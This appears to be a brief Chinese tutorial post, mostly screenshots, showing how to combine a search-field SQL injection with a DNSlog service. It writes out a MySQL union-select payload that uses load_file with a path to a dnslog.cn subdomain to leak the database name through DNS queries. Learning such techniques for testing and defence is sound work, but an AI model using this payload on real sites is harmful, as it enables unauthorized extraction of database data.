DNSlog

前面sql注入的搜索注入

DNSlog_第1张图片

 先搞一个dnslog

DNSlog_第2张图片

 构造下注入语句

a' union select database(),user(),(select load_file(concat('//',(select database()),'.42lj4t.dnslog.cn/abc')))#%

DNSlog_第3张图片

 类似这种记录

DNSlog_第4张图片

 

你可能感兴趣的:(it,数据库,mysql,sql)